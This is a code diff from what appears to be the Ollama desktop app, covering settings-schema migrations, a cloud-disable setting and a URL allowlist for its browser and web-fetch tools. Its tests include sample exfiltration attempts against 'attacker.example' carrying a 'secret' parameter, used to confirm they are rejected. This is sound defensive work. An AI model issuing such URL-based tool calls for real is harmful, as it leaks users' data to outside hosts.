+			setTestHome(t, tmpHome)
+			t.Setenv("OLLAMA_NO_CLOUD", tt.envValue)
+
+			if tt.configContent != "" {
+				configDir := filepath.Join(tmpHome, ".ollama")
+				if err := os.MkdirAll(configDir, 0o755); err != nil {
+					t.Fatalf("mkdir config dir: %v", err)
+				}
+				configPath := filepath.Join(configDir, serverConfigFilename)
+				if err := os.WriteFile(configPath, []byte(tt.configContent), 0o644); err != nil {
+					t.Fatalf("write config: %v", err)
+				}
+			}
+
+			s := &Store{DBPath: filepath.Join(tmpHome, "db.sqlite")}
+			defer s.Close()
+
+			disabled, err := s.CloudDisabled()
+			if err != nil {
+				t.Fatalf("CloudDisabled() error = %v", err)
+			}
+			if disabled != tt.wantDisabled {
+				t.Fatalf("CloudDisabled() = %v, want %v", disabled, tt.wantDisabled)
+			}
+
+			statusDisabled, source, err := s.CloudStatus()
+			if err != nil {
+				t.Fatalf("CloudStatus() error = %v", err)
+			}
+			if statusDisabled != tt.wantDisabled {
+				t.Fatalf("CloudStatus() disabled = %v, want %v", statusDisabled, tt.wantDisabled)
+			}
+			if source != tt.wantSource {
+				t.Fatalf("CloudStatus() source = %v, want %v", source, tt.wantSource)
+			}
+		})
+	}
+}
+
+func TestSetCloudEnabled(t *testing.T) {
+	tmpHome := t.TempDir()
+	setTestHome(t, tmpHome)
+
+	configDir := filepath.Join(tmpHome, ".ollama")
+	if err := os.MkdirAll(configDir, 0o755); err != nil {
+		t.Fatalf("mkdir config dir: %v", err)
+	}
+	configPath := filepath.Join(configDir, serverConfigFilename)
+	if err := os.WriteFile(configPath, []byte(`{"another_key":"value","disable_ollama_cloud":true}`), 0o644); err != nil {
+		t.Fatalf("seed config: %v", err)
+	}
+
+	s := &Store{DBPath: filepath.Join(tmpHome, "db.sqlite")}
+	defer s.Close()
+
+	if err := s.SetCloudEnabled(true); err != nil {
+		t.Fatalf("SetCloudEnabled(true) error = %v", err)
+	}
+
+	data, err := os.ReadFile(configPath)
+	if err != nil {
+		t.Fatalf("read config: %v", err)
+	}
+
+	var got map[string]any
+	if err := json.Unmarshal(data, &got); err != nil {
+		t.Fatalf("unmarshal config: %v", err)
+	}
+
+	if got["disable_ollama_cloud"] != false {
+		t.Fatalf("disable_ollama_cloud = %v, want false", got["disable_ollama_cloud"])
+	}
+	if got["another_key"] != "value" {
+		t.Fatalf("another_key = %v, want value", got["another_key"])
+	}
+}

app/store/database.go

@@ -9,12 +9,12 @@ import (
 	"strings"
 	"time"
 
-	sqlite3 "github.com/mattn/go-sqlite3"
+	_ "github.com/mattn/go-sqlite3"
 )
 
 // currentSchemaVersion defines the current database schema version.
 // Increment this when making schema changes that require migrations.
-const currentSchemaVersion = 12
+const currentSchemaVersion = 16
 
 // database wraps the SQLite connection.
 // SQLite handles its own locking for concurrent access:
@@ -73,7 +73,7 @@ func (db *database) init() error {
 		agent BOOLEAN NOT NULL DEFAULT 0,
 		tools BOOLEAN NOT NULL DEFAULT 0,
 		working_dir TEXT NOT NULL DEFAULT '',
-		context_length INTEGER NOT NULL DEFAULT 4096,
+		context_length INTEGER NOT NULL DEFAULT 0,
 		window_width INTEGER NOT NULL DEFAULT 0,
 		window_height INTEGER NOT NULL DEFAULT 0,
 		config_migrated BOOLEAN NOT NULL DEFAULT 0,
@@ -82,9 +82,12 @@ func (db *database) init() error {
 		websearch_enabled BOOLEAN NOT NULL DEFAULT 0,
 		selected_model TEXT NOT NULL DEFAULT '',
 		sidebar_open BOOLEAN NOT NULL DEFAULT 0,
+		last_home_view TEXT NOT NULL DEFAULT 'launch',
 		think_enabled BOOLEAN NOT NULL DEFAULT 0,
 		think_level TEXT NOT NULL DEFAULT '',
+		cloud_setting_migrated BOOLEAN NOT NULL DEFAULT 0,
 		remote TEXT NOT NULL DEFAULT '', -- deprecated
+		auto_update_enabled BOOLEAN NOT NULL DEFAULT 1,
 		schema_version INTEGER NOT NULL DEFAULT %d
 	);
 
@@ -244,6 +247,30 @@ func (db *database) migrate() error {
 				return fmt.Errorf("migrate v11 to v12: %w", err)
 			}
 			version = 12
+		case 12:
+			// add cloud_setting_migrated column to settings table
+			if err := db.migrateV12ToV13(); err != nil {
+				return fmt.Errorf("migrate v12 to v13: %w", err)
+			}
+			version = 13
+		case 13:
+			// change default context_length from 4096 to 0 (VRAM-based tiered defaults)
+			if err := db.migrateV13ToV14(); err != nil {
+				return fmt.Errorf("migrate v13 to v14: %w", err)
+			}
+			version = 14
+		case 14:
+			// add auto_update_enabled column to settings table
+			if err := db.migrateV14ToV15(); err != nil {
+				return fmt.Errorf("migrate v14 to v15: %w", err)
+			}
+			version = 15
+		case 15:
+			// add last_home_view column to settings table
+			if err := db.migrateV15ToV16(); err != nil {
+				return fmt.Errorf("migrate v15 to v16: %w", err)
+			}
+			version = 16
 		default:
 			// If we have a version we don't recognize, just set it to current
 			// This might happen during development
@@ -452,6 +479,67 @@ func (db *database) migrateV11ToV12() error {
 	return nil
 }
 
+// migrateV12ToV13 adds cloud_setting_migrated to settings.
+func (db *database) migrateV12ToV13() error {
+	_, err := db.conn.Exec(`ALTER TABLE settings ADD COLUMN cloud_setting_migrated BOOLEAN NOT NULL DEFAULT 0`)
+	if err != nil && !duplicateColumnError(err) {
+		return fmt.Errorf("add cloud_setting_migrated column: %w", err)
+	}
+
+	_, err = db.conn.Exec(`UPDATE settings SET schema_version = 13`)
+	if err != nil {
+		return fmt.Errorf("update schema version: %w", err)
+	}
+
+	return nil
+}
+
+// migrateV13ToV14 changes the default context_length from 4096 to 0.
+// When context_length is 0, the ollama server uses VRAM-based tiered defaults.
+func (db *database) migrateV13ToV14() error {
+	_, err := db.conn.Exec(`UPDATE settings SET context_length = 0 WHERE context_length = 4096`)
+	if err != nil {
+		return fmt.Errorf("update context_length default: %w", err)
+	}
+
+	_, err = db.conn.Exec(`UPDATE settings SET schema_version = 14`)
+	if err != nil {
+		return fmt.Errorf("update schema version: %w", err)
+	}
+
+	return nil
+}
+
+// migrateV14ToV15 adds the auto_update_enabled column to the settings table
+func (db *database) migrateV14ToV15() error {
+	_, err := db.conn.Exec(`ALTER TABLE settings ADD COLUMN auto_update_enabled BOOLEAN NOT NULL DEFAULT 1`)
+	if err != nil && !duplicateColumnError(err) {
+		return fmt.Errorf("add auto_update_enabled column: %w", err)
+	}
+
+	_, err = db.conn.Exec(`UPDATE settings SET schema_version = 15`)
+	if err != nil {
+		return fmt.Errorf("update schema version: %w", err)
+	}
+
+	return nil
+}
+
+// migrateV15ToV16 adds the last_home_view column to the settings table
+func (db *database) migrateV15ToV16() error {
+	_, err := db.conn.Exec(`ALTER TABLE settings ADD COLUMN last_home_view TEXT NOT NULL DEFAULT 'launch'`)
+	if err != nil && !duplicateColumnError(err) {
+		return fmt.Errorf("add last_home_view column: %w", err)
+	}
+
+	_, err = db.conn.Exec(`UPDATE settings SET schema_version = 16`)
+	if err != nil {
+		return fmt.Errorf("update schema version: %w", err)
+	}
+
+	return nil
+}
+
 // cleanupOrphanedData removes orphaned records that may exist due to the foreign key bug
 func (db *database) cleanupOrphanedData() error {
 	_, err := db.conn.Exec(`
@@ -482,19 +570,11 @@ func (db *database) cleanupOrphanedData() error {
 }
 
 func duplicateColumnError(err error) bool {
-	if sqlite3Err, ok := err.(sqlite3.Error); ok {
-		return sqlite3Err.Code == sqlite3.ErrError &&
-			strings.Contains(sqlite3Err.Error(), "duplicate column name")
-	}
-	return false
+	return err != nil && strings.Contains(err.Error(), "duplicate column name")
 }
 
 func columnNotExists(err error) bool {
-	if sqlite3Err, ok := err.(sqlite3.Error); ok {
-		return sqlite3Err.Code == sqlite3.ErrError &&
-			strings.Contains(sqlite3Err.Error(), "no such column")
-	}
-	return false
+	return err != nil && strings.Contains(err.Error(), "no such column")
 }
 
 func (db *database) getAllChats() ([]Chat, error) {
@@ -1108,9 +1188,9 @@ func (db *database) getSettings() (Settings, error) {
 	var s Settings
 
 	err := db.conn.QueryRow(`
-		SELECT expose, survey, browser, models, agent, tools, working_dir, context_length, airplane_mode, turbo_enabled, websearch_enabled, selected_model, sidebar_open, think_enabled, think_level 
+		SELECT expose, survey, browser, models, agent, tools, working_dir, context_length, turbo_enabled, websearch_enabled, selected_model, sidebar_open, last_home_view, think_enabled, think_level, auto_update_enabled
 		FROM settings
-	`).Scan(&s.Expose, &s.Survey, &s.Browser, &s.Models, &s.Agent, &s.Tools, &s.WorkingDir, &s.ContextLength, &s.AirplaneMode, &s.TurboEnabled, &s.WebSearchEnabled, &s.SelectedModel, &s.SidebarOpen, &s.ThinkEnabled, &s.ThinkLevel)
+	`).Scan(&s.Expose, &s.Survey, &s.Browser, &s.Models, &s.Agent, &s.Tools, &s.WorkingDir, &s.ContextLength, &s.TurboEnabled, &s.WebSearchEnabled, &s.SelectedModel, &s.SidebarOpen, &s.LastHomeView, &s.ThinkEnabled, &s.ThinkLevel, &s.AutoUpdateEnabled)
 	if err != nil {
 		return Settings{}, fmt.Errorf("get settings: %w", err)
 	}
@@ -1119,16 +1199,61 @@ func (db *database) getSettings() (Settings, error) {
 }
 
 func (db *database) setSettings(s Settings) error {
+	lastHomeView := strings.ToLower(strings.TrimSpace(s.LastHomeView))
+	validLaunchView := map[string]struct{}{
+		"launch":    {},
+		"openclaw":  {},
+		"claude":    {},
+		"hermes":    {},
+		"codex":     {},
+		"codex-app": {},
+		"copilot":   {},
+		"opencode":  {},
+		"droid":     {},
+		"pi":        {},
+	}
+	if lastHomeView != "chat" {
+		if _, ok := validLaunchView[lastHomeView]; !ok {
+			lastHomeView = "launch"
+		}
+	}
+
 	_, err := db.conn.Exec(`
-		UPDATE settings 
-		SET expose = ?, survey = ?, browser = ?, models = ?, agent = ?, tools = ?, working_dir = ?, context_length = ?, airplane_mode = ?, turbo_enabled = ?, websearch_enabled = ?, selected_model = ?, sidebar_open = ?, think_enabled = ?, think_level = ?
-	`, s.Expose, s.Survey, s.Browser, s.Models, s.Agent, s.Tools, s.WorkingDir, s.ContextLength, s.AirplaneMode, s.TurboEnabled, s.WebSearchEnabled, s.SelectedModel, s.SidebarOpen, s.ThinkEnabled, s.ThinkLevel)
+		UPDATE settings
+		SET expose = ?, survey = ?, browser = ?, models = ?, agent = ?, tools = ?, working_dir = ?, context_length = ?, turbo_enabled = ?, websearch_enabled = ?, selected_model = ?, sidebar_open = ?, last_home_view = ?, think_enabled = ?, think_level = ?, auto_update_enabled = ?
+	`, s.Expose, s.Survey, s.Browser, s.Models, s.Agent, s.Tools, s.WorkingDir, s.ContextLength, s.TurboEnabled, s.WebSearchEnabled, s.SelectedModel, s.SidebarOpen, lastHomeView, s.ThinkEnabled, s.ThinkLevel, s.AutoUpdateEnabled)
 	if err != nil {
 		return fmt.Errorf("set settings: %w", err)
 	}
 	return nil
 }
 
+func (db *database) isCloudSettingMigrated() (bool, error) {
+	var migrated bool
+	err := db.conn.QueryRow("SELECT cloud_setting_migrated FROM settings").Scan(&migrated)
+	if err != nil {
+		return false, fmt.Errorf("get cloud setting migration status: %w", err)
+	}
+	return migrated, nil
+}
+
+func (db *database) setCloudSettingMigrated(migrated bool) error {
+	_, err := db.conn.Exec("UPDATE settings SET cloud_setting_migrated = ?", migrated)
+	if err != nil {
+		return fmt.Errorf("set cloud setting migration status: %w", err)
+	}
+	return nil
+}
+
+func (db *database) getAirplaneMode() (bool, error) {
+	var airplaneMode bool
+	err := db.conn.QueryRow("SELECT airplane_mode FROM settings").Scan(&airplaneMode)
+	if err != nil {
+		return false, fmt.Errorf("get airplane_mode: %w", err)
+	}
+	return airplaneMode, nil
+}
+
 func (db *database) getWindowSize() (int, int, error) {
 	var width, height int
 	err := db.conn.QueryRow("SELECT window_width, window_height FROM settings").Scan(&width, &height)

app/store/database_test.go

@@ -98,6 +98,82 @@ func TestSchemaMigrations(t *testing.T) {
 	})
 }
 
+func TestMigrationV13ToV14ContextLength(t *testing.T) {
+	tmpDir := t.TempDir()
+	dbPath := filepath.Join(tmpDir, "test.db")
+
+	db, err := newDatabase(dbPath)
+	if err != nil {
+		t.Fatalf("failed to create database: %v", err)
+	}
+	defer db.Close()
+
+	_, err = db.conn.Exec("UPDATE settings SET context_length = 4096, schema_version = 13")
+	if err != nil {
+		t.Fatalf("failed to seed v13 settings row: %v", err)
+	}
+
+	if err := db.migrate(); err != nil {
+		t.Fatalf("migration from v13 to v14 failed: %v", err)
+	}
+
+	var contextLength int
+	if err := db.conn.QueryRow("SELECT context_length FROM settings").Scan(&contextLength); err != nil {
+		t.Fatalf("failed to read context_length: %v", err)
+	}
+
+	if contextLength != 0 {
+		t.Fatalf("expected context_length to migrate to 0, got %d", contextLength)
+	}
+
+	version, err := db.getSchemaVersion()
+	if err != nil {
+		t.Fatalf("failed to get schema version: %v", err)
+	}
+	if version != currentSchemaVersion {
+		t.Fatalf("expected schema version %d, got %d", currentSchemaVersion, version)
+	}
+}
+
+func TestMigrationV15ToV16LastHomeViewDefaultsToLaunch(t *testing.T) {
+	tmpDir := t.TempDir()
+	dbPath := filepath.Join(tmpDir, "test.db")
+
+	db, err := newDatabase(dbPath)
+	if err != nil {
+		t.Fatalf("failed to create database: %v", err)
+	}
+	defer db.Close()
+
+	if _, err := db.conn.Exec(`
+		ALTER TABLE settings DROP COLUMN last_home_view;
+		UPDATE settings SET schema_version = 15;
+	`); err != nil {
+		t.Fatalf("failed to seed v15 settings row: %v", err)
+	}
+
+	if err := db.migrate(); err != nil {
+		t.Fatalf("migration from v15 to v16 failed: %v", err)
+	}
+
+	var lastHomeView string
+	if err := db.conn.QueryRow("SELECT last_home_view FROM settings").Scan(&lastHomeView); err != nil {
+		t.Fatalf("failed to read last_home_view: %v", err)
+	}
+
+	if lastHomeView != "launch" {
+		t.Fatalf("expected last_home_view to default to launch after migration, got %q", lastHomeView)
+	}
+
+	version, err := db.getSchemaVersion()
+	if err != nil {
+		t.Fatalf("failed to get schema version: %v", err)
+	}
+	if version != currentSchemaVersion {
+		t.Fatalf("expected schema version %d, got %d", currentSchemaVersion, version)
+	}
+}
+
 func TestChatDeletionWithCascade(t *testing.T) {
 	t.Run("chat deletion cascades to related messages", func(t *testing.T) {
 		tmpDir := t.TempDir()

app/store/migration_test.go

@@ -127,6 +127,65 @@ func TestNoConfigToMigrate(t *testing.T) {
 	}
 }
 
+func TestCloudMigrationFromAirplaneMode(t *testing.T) {
+	tmpHome := t.TempDir()
+	setTestHome(t, tmpHome)
+	t.Setenv("OLLAMA_NO_CLOUD", "")
+
+	dbPath := filepath.Join(tmpHome, "db.sqlite")
+	db, err := newDatabase(dbPath)
+	if err != nil {
+		t.Fatalf("failed to create database: %v", err)
+	}
+
+	if _, err := db.conn.Exec("UPDATE settings SET airplane_mode = 1, cloud_setting_migrated = 0"); err != nil {
+		db.Close()
+		t.Fatalf("failed to seed airplane migration state: %v", err)
+	}
+	db.Close()
+
+	s := Store{DBPath: dbPath}
+	defer s.Close()
+
+	// Trigger DB initialization + one-time cloud migration.
+	if _, err := s.ID(); err != nil {
+		t.Fatalf("failed to initialize store: %v", err)
+	}
+
+	disabled, err := s.CloudDisabled()
+	if err != nil {
+		t.Fatalf("CloudDisabled() error: %v", err)
+	}
+	if !disabled {
+		t.Fatal("expected cloud to be disabled after migrating airplane_mode=true")
+	}
+
+	configPath := filepath.Join(tmpHome, ".ollama", serverConfigFilename)
+	data, err := os.ReadFile(configPath)
+	if err != nil {
+		t.Fatalf("failed to read migrated server config: %v", err)
+	}
+
+	var cfg map[string]any
+	if err := json.Unmarshal(data, &cfg); err != nil {
+		t.Fatalf("failed to parse migrated server config: %v", err)
+	}
+	if cfg["disable_ollama_cloud"] != true {
+		t.Fatalf("disable_ollama_cloud = %v, want true", cfg["disable_ollama_cloud"])
+	}
+
+	var airplaneMode, migrated bool
+	if err := s.db.conn.QueryRow("SELECT airplane_mode, cloud_setting_migrated FROM settings").Scan(&airplaneMode, &migrated); err != nil {
+		t.Fatalf("failed to read migration flags from DB: %v", err)
+	}
+	if !airplaneMode {
+		t.Fatal("expected legacy airplane_mode value to remain unchanged")
+	}
+	if !migrated {
+		t.Fatal("expected cloud_setting_migrated to be true")
+	}
+}
+
 const (
 	v1Schema = `
 	CREATE TABLE IF NOT EXISTS settings (

app/store/store.go

@@ -149,9 +149,6 @@ type Settings struct {
 	// ContextLength specifies the context length for the ollama server (using OLLAMA_CONTEXT_LENGTH)
 	ContextLength int
 
-	// AirplaneMode when true, turns off Ollama Turbo features and only uses local models
-	AirplaneMode bool
-
 	// TurboEnabled indicates if Ollama Turbo features are enabled
 	TurboEnabled bool
 
@@ -169,6 +166,12 @@ type Settings struct {
 
 	// SidebarOpen indicates if the chat sidebar is open
 	SidebarOpen bool
+
+	// LastHomeView stores the preferred home route target ("chat" or integration name)
+	LastHomeView string
+
+	// AutoUpdateEnabled indicates if automatic updates should be downloaded
+	AutoUpdateEnabled bool
 }
 
 type Store struct {
@@ -259,6 +262,40 @@ func (s *Store) ensureDB() error {
 		}
 	}
 
+	// Run one-time migration from legacy airplane_mode behavior.
+	if err := s.migrateCloudSetting(database); err != nil {
+		return fmt.Errorf("migrate cloud setting: %w", err)
+	}
+
+	return nil
+}
+
+// migrateCloudSetting migrates legacy airplane_mode into server.json exactly once.
+// After this, cloud state is sourced from server.json OR OLLAMA_NO_CLOUD.
+func (s *Store) migrateCloudSetting(database *database) error {
+	migrated, err := database.isCloudSettingMigrated()
+	if err != nil {
+		return err
+	}
+	if migrated {
+		return nil
+	}
+
+	airplaneMode, err := database.getAirplaneMode()
+	if err != nil {
+		return err
+	}
+
+	if airplaneMode {
+		if err := setCloudEnabled(false); err != nil {
+			return fmt.Errorf("migrate airplane_mode to cloud disabled: %w", err)
+		}
+	}
+
+	if err := database.setCloudSettingMigrated(true); err != nil {
+		return err
+	}
+
 	return nil
 }
 
@@ -355,6 +392,10 @@ func (s *Store) Settings() (Settings, error) {
 		}
 	}
 
+	if settings.LastHomeView == "" {
+		settings.LastHomeView = "launch"
+	}
+
 	return settings, nil
 }
 

app/store/store_test.go

@@ -81,6 +81,62 @@ func TestStore(t *testing.T) {
 		}
 	})
 
+	t.Run("settings default home view is launch", func(t *testing.T) {
+		loaded, err := s.Settings()
+		if err != nil {
+			t.Fatal(err)
+		}
+
+		if loaded.LastHomeView != "launch" {
+			t.Fatalf("expected default LastHomeView to be launch, got %q", loaded.LastHomeView)
+		}
+	})
+
+	t.Run("settings empty home view falls back to launch", func(t *testing.T) {
+		if err := s.SetSettings(Settings{LastHomeView: ""}); err != nil {
+			t.Fatal(err)
+		}
+
+		loaded, err := s.Settings()
+		if err != nil {
+			t.Fatal(err)
+		}
+
+		if loaded.LastHomeView != "launch" {
+			t.Fatalf("expected empty LastHomeView to fall back to launch, got %q", loaded.LastHomeView)
+		}
+	})
+
+	t.Run("settings disabled home view falls back to launch", func(t *testing.T) {
+		if err := s.SetSettings(Settings{LastHomeView: "claude-desktop"}); err != nil {
+			t.Fatal(err)
+		}
+
+		loaded, err := s.Settings()
+		if err != nil {
+			t.Fatal(err)
+		}
+
+		if loaded.LastHomeView != "launch" {
+			t.Fatalf("expected disabled LastHomeView to fall back to launch, got %q", loaded.LastHomeView)
+		}
+	})
+
+	t.Run("settings codex app home view is accepted", func(t *testing.T) {
+		if err := s.SetSettings(Settings{LastHomeView: "codex-app"}); err != nil {
+			t.Fatal(err)
+		}
+
+		loaded, err := s.Settings()
+		if err != nil {
+			t.Fatal(err)
+		}
+
+		if loaded.LastHomeView != "codex-app" {
+			t.Fatalf("expected codex-app LastHomeView to be preserved, got %q", loaded.LastHomeView)
+		}
+	})
+
 	t.Run("window size", func(t *testing.T) {
 		if err := s.SetWindowSize(1024, 768); err != nil {
 			t.Fatal(err)

app/store/test_home_test.go

@@ -0,0 +1,11 @@
+//go:build windows || darwin
+
+package store
+
+import "testing"
+
+func setTestHome(t *testing.T, home string) {
+	t.Helper()
+	t.Setenv("HOME", home)
+	t.Setenv("USERPROFILE", home)
+}

app/store/testdata/schema.sql

@@ -13,7 +13,7 @@ CREATE TABLE IF NOT EXISTS settings (
     agent BOOLEAN NOT NULL DEFAULT 0,
     tools BOOLEAN NOT NULL DEFAULT 0,
     working_dir TEXT NOT NULL DEFAULT '',
-    context_length INTEGER NOT NULL DEFAULT 4096,
+    context_length INTEGER NOT NULL DEFAULT 0,
     window_width INTEGER NOT NULL DEFAULT 0,
     window_height INTEGER NOT NULL DEFAULT 0,
     config_migrated BOOLEAN NOT NULL DEFAULT 0,

app/tools/browser.go

@@ -563,6 +563,10 @@ func (b *BrowserOpen) Execute(ctx context.Context, args map[string]any) (any, st
 			return b.state.Data, pageText, nil
 		}
 
+		if !allowedDirectURL(ctx, url) {
+			return nil, "", fmt.Errorf("direct URL open is only allowed for URLs provided by the user")
+		}
+
 		// Page not in cache, need to crawl it
 		if b.crawlPage == nil {
 			b.crawlPage = &BrowserCrawler{}

app/tools/browser_test.go

@@ -65,6 +65,27 @@ func TestBrowserOpen_UseCacheByURL(t *testing.T) {
 	}
 }
 
+func TestBrowserOpen_RejectsUncachedDirectURL(t *testing.T) {
+	b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
+	bo := NewBrowserOpen(b)
+
+	_, _, err := bo.Execute(t.Context(), map[string]any{"id": "https://attacker.example/?data=secret"})
+	if err == nil || !strings.Contains(err.Error(), "only allowed for URLs provided by the user") {
+		t.Fatalf("expected direct URL rejection, got %v", err)
+	}
+}
+
+func TestDirectURLsFromText_AllowsExactUserURLsOnly(t *testing.T) {
+	ctx := WithAllowedDirectURLs(t.Context(), "summarize https://example.com/article?q=1 please")
+
+	if !allowedDirectURL(ctx, "https://example.com/article?q=1") {
+		t.Fatal("expected exact user-provided URL to be allowed")
+	}
+	if allowedDirectURL(ctx, "https://example.com/article?q=secret") {
+		t.Fatal("did not expect modified URL to be allowed")
+	}
+}
+
 func TestDisplayPage_InvalidLoc(t *testing.T) {
 	b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
 	p := makeTestPage("https://example.com/x")

app/tools/cloud_policy.go

@@ -0,0 +1,35 @@
+//go:build windows || darwin
+
+package tools
+
+import (
+	"context"
+	"errors"
+
+	"github.com/ollama/ollama/api"
+	internalcloud "github.com/ollama/ollama/internal/cloud"
+)
+
+// ensureCloudEnabledForTool checks cloud policy from the connected Ollama server.
+// If policy cannot be determined, this fails closed and blocks the operation.
+func ensureCloudEnabledForTool(ctx context.Context, operation string) error {
+	// Reuse shared message formatting; policy evaluation is still done via
+	// the connected server's /api/status endpoint below.
+	disabledMessage := internalcloud.DisabledError(operation)
+
+	client, err := api.ClientFromEnvironment()
+	if err != nil {
+		return errors.New(disabledMessage + " (unable to verify server cloud policy)")
+	}
+
+	status, err := client.CloudStatusExperimental(ctx)
+	if err != nil {
+		return errors.New(disabledMessage + " (unable to verify server cloud policy)")
+	}
+
+	if status.Cloud.Disabled {
+		return errors.New(disabledMessage)
+	}
+
+	return nil
+}

app/tools/cloud_policy_test.go

@@ -0,0 +1,73 @@
+//go:build windows || darwin
+
+package tools
+
+import (
+	"context"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+)
+
+func TestEnsureCloudEnabledForTool(t *testing.T) {
+	const op = "web search is unavailable"
+	const disabledPrefix = "ollama cloud is disabled: web search is unavailable"
+
+	t.Run("enabled allows tool execution", func(t *testing.T) {
+		ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+			if r.URL.Path != "/api/status" {
+				http.NotFound(w, r)
+				return
+			}
+			w.Header().Set("Content-Type", "application/json")
+			_, _ = w.Write([]byte(`{"cloud":{"disabled":false,"source":"none"}}`))
+		}))
+		t.Cleanup(ts.Close)
+		t.Setenv("OLLAMA_HOST", ts.URL)
+
+		if err := ensureCloudEnabledForTool(context.Background(), op); err != nil {
+			t.Fatalf("expected nil error, got %v", err)
+		}
+	})
+
+	t.Run("disabled blocks tool execution", func(t *testing.T) {
+		ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+			if r.URL.Path != "/api/status" {
+				http.NotFound(w, r)
+				return
+			}
+			w.Header().Set("Content-Type", "application/json")
+			_, _ = w.Write([]byte(`{"cloud":{"disabled":true,"source":"config"}}`))
+		}))
+		t.Cleanup(ts.Close)
+		t.Setenv("OLLAMA_HOST", ts.URL)
+
+		err := ensureCloudEnabledForTool(context.Background(), op)
+		if err == nil {
+			t.Fatal("expected error, got nil")
+		}
+		if got := err.Error(); got != disabledPrefix {
+			t.Fatalf("unexpected error: %q", got)
+		}
+	})
+
+	t.Run("status unavailable fails closed", func(t *testing.T) {
+		ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+			http.NotFound(w, r)
+		}))
+		t.Cleanup(ts.Close)
+		t.Setenv("OLLAMA_HOST", ts.URL)
+
+		err := ensureCloudEnabledForTool(context.Background(), op)
+		if err == nil {
+			t.Fatal("expected error, got nil")
+		}
+		if got := err.Error(); !strings.Contains(got, disabledPrefix) {
+			t.Fatalf("expected disabled prefix, got %q", got)
+		}
+		if got := err.Error(); !strings.Contains(got, "unable to verify server cloud policy") {
+			t.Fatalf("expected verification failure detail, got %q", got)
+		}
+	})
+}

app/tools/url_policy.go

@@ -0,0 +1,61 @@
+//go:build windows || darwin
+
+package tools
+
+import (
+	"context"
+	"regexp"
+	"strings"
+)
+
+type directURLContextKey struct{}
+
+var directURLPattern = regexp.MustCompile("https?://[^\\s<>\"'`]+")
+
+func WithAllowedDirectURLs(ctx context.Context, text string) context.Context {
+	allowed := make(map[string]struct{})
+	for _, match := range directURLPattern.FindAllString(text, -1) {
+		addAllowedDirectURLToMap(allowed, match)
+	}
+	return context.WithValue(ctx, directURLContextKey{}, allowed)
+}
+
+func addAllowedDirectURL(ctx context.Context, raw string) {
+	allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
+	addAllowedDirectURLToMap(allowed, raw)
+}
+
+func addAllowedDirectURLToMap(allowed map[string]struct{}, raw string) {
+	if allowed == nil {
+		return
+	}
+
+	raw = cleanDirectURL(raw)
+	if raw == "" {
+		return
+	}
+
+	allowed[raw] = struct{}{}
+}
+
+func allowedDirectURL(ctx context.Context, raw string) bool {
+	allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
+	cleaned := cleanDirectURL(raw)
+	if cleaned == "" || cleaned != raw {
+		return false
+	}
+
+	_, ok := allowed[cleaned]
+	return ok
+}
+
+func cleanDirectURL(raw string) string {
+	raw = strings.TrimSpace(raw)
+	raw = strings.TrimRight(raw, ".,;:!?)]}")
+
+	if !strings.HasPrefix(raw, "http://") && !strings.HasPrefix(raw, "https://") {
+		return ""
+	}
+
+	return raw
+}

app/tools/url_policy_test.go

@@ -0,0 +1,21 @@
+//go:build windows || darwin
+
+package tools
+
+import "testing"
+
+func TestDirectURLsFromText_RejectsChangedToolArgument(t *testing.T) {
+	ctx := WithAllowedDirectURLs(t.Context(), "summarize https://attacker.example/x")
+
+	if allowedDirectURL(ctx, "https://attacker.example/x!!!!") {
+		t.Fatal("expected changed tool argument to be rejected")
+	}
+}
+
+func TestDirectURLsFromText_ExtractsMarkdownCodeSpanURL(t *testing.T) {
+	ctx := WithAllowedDirectURLs(t.Context(), "summarize `https://example.com/privacy`")
+
+	if !allowedDirectURL(ctx, "https://example.com/privacy") {
+		t.Fatal("expected URL wrapped in backticks to be allowed")
+	}
+}

app/tools/web_fetch.go

@@ -67,16 +67,26 @@ func (w *WebFetch) Execute(ctx context.Context, args map[string]any) (any, strin
 	if !ok || strings.TrimSpace(urlStr) == "" {
 		return nil, "", fmt.Errorf("url must be a non-empty string")
 	}
+	if !allowedDirectURL(ctx, urlStr) {
+		return nil, "", fmt.Errorf("web fetch is only allowed for URLs provided by the user")
+	}
 
 	result, err := performWebFetch(ctx, urlStr)
 	if err != nil {
 		return nil, "", err
 	}
+	for _, link := range result.Links {
+		addAllowedDirectURL(ctx, link)
+	}
 
 	return result, "", nil
 }
 
 func performWebFetch(ctx context.Context, targetURL string) (*FetchResponse, error) {
+	if err := ensureCloudEnabledForTool(ctx, "web fetch is unavailable"); err != nil {
+		return nil, err
+	}
+
 	reqBody := FetchRequest{URL: targetURL}
 	jsonBody, err := json.Marshal(reqBody)
 	if err != nil {

app/tools/web_search.go

@@ -88,11 +88,18 @@ func (w *WebSearch) Execute(ctx context.Context, args map[string]any) (any, stri
 	if err != nil {
 		return nil, "", err
 	}
+	for _, result := range result.Results {
+		addAllowedDirectURL(ctx, result.URL)
+	}
 
 	return result, "", nil
 }
 
 func performWebSearch(ctx context.Context, query string, maxResults int) (*SearchResponse, error) {
+	if err := ensureCloudEnabledForTool(ctx, "web search is unavailable"); err != nil {
+		return nil, err
+	}
+
 	reqBody := SearchRequest{Query: query, MaxResults: maxResults}
 
 	jsonBody, err := json.Marshal(reqBody)

app/ui/app/codegen/gotypes.gen.ts

@@ -289,10 +289,12 @@ export class InferenceCompute {
 }
 export class InferenceComputeResponse {
     inferenceComputes: InferenceCompute[];
+    defaultContextLength: number;
 
     constructor(source: any = {}) {
         if ('string' === typeof source) source = JSON.parse(source);
         this.inferenceComputes = this.convertValues(source["inferenceComputes"], InferenceCompute);
+        this.defaultContextLength = source["defaultContextLength"];
     }
 
 	convertValues(a: any, classs: any, asMap: boolean = false): any {
@@ -406,13 +408,14 @@ export class Settings {
     Tools: boolean;
     WorkingDir: string;
     ContextLength: number;
-    AirplaneMode: boolean;
     TurboEnabled: boolean;
     WebSearchEnabled: boolean;
     ThinkEnabled: boolean;
     ThinkLevel: string;
     SelectedModel: string;
     SidebarOpen: boolean;
+    LastHomeView: string;
